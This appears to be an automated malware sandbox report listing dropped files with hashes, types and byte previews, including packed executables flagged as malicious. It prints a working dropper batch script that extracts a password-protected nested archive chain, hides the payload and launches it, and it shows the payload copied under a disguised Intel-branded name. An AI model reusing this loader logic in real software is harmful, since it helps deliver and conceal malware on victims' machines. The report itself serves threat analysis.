SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Reputation:	unknown
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Reputation:	unknown
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Reputation:	unknown
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Reputation:	unknown
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Reputation:	unknown
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Reputation:	unknown
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Local\Temp\service123.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	314617856
Entropy (8bit):	0.0023406044119182
Encrypted:	false
SSDEEP:
MD5:	3F2F75FBF18F3A962480828367DA1474
SHA1:	E873106750C96AF2E4B514B454B26144FDCBD51B
SHA-256:	91143D5A391BB62354AE821F07E7B0137A17D8111D48562B4056F0FC4B8A925F
SHA-512:	92B85A5301C480D85C296C629F2B3D0574D1CA2C87F4CABF84216E8687B70EC3E9E29B14FEAD335FFD3C809B7ED4FFB5833C34C0F5E528FDA913B0D44C2A2F68
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n.cg...............(.v........................@.......................... ............@... .................................................................d...........................D.......................T................................text....t.......v..................`..`.data...T............z..............@....rdata...............\|..............@..@.eh_fram............................@..@.bss....t................................idata..............................@....CRT....0...........................@....tls................................@....reloc..d...........................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\Documents\JEHIIDGCFH.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3269120
Entropy (8bit):	6.653494758841172
Encrypted:	false
SSDEEP:
MD5:	1790B57CFE11D52A447CB53B7632E0D9
SHA1:	3E4EB8D73EFBE3BA55FBB61C8A0CFDA695E302EF
SHA-256:	09B5590DE6B345C0C942426B23309B24E5504A692F408A8353DE5FBF38986761
SHA-512:	A313EE1313AA77C1174AF8A753EB82E23380247D1F915A1C6615BB553306732CBD30717EC37BF755C7E40520623EC4D81BB67942FD6A9F310568D0385B4996DD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@.......................... 2.......1...@.................................W...k.............................1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...ifzwduwo.0+......$+.................@...kyfineaz......1.......1.............@....taggant.0....1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:
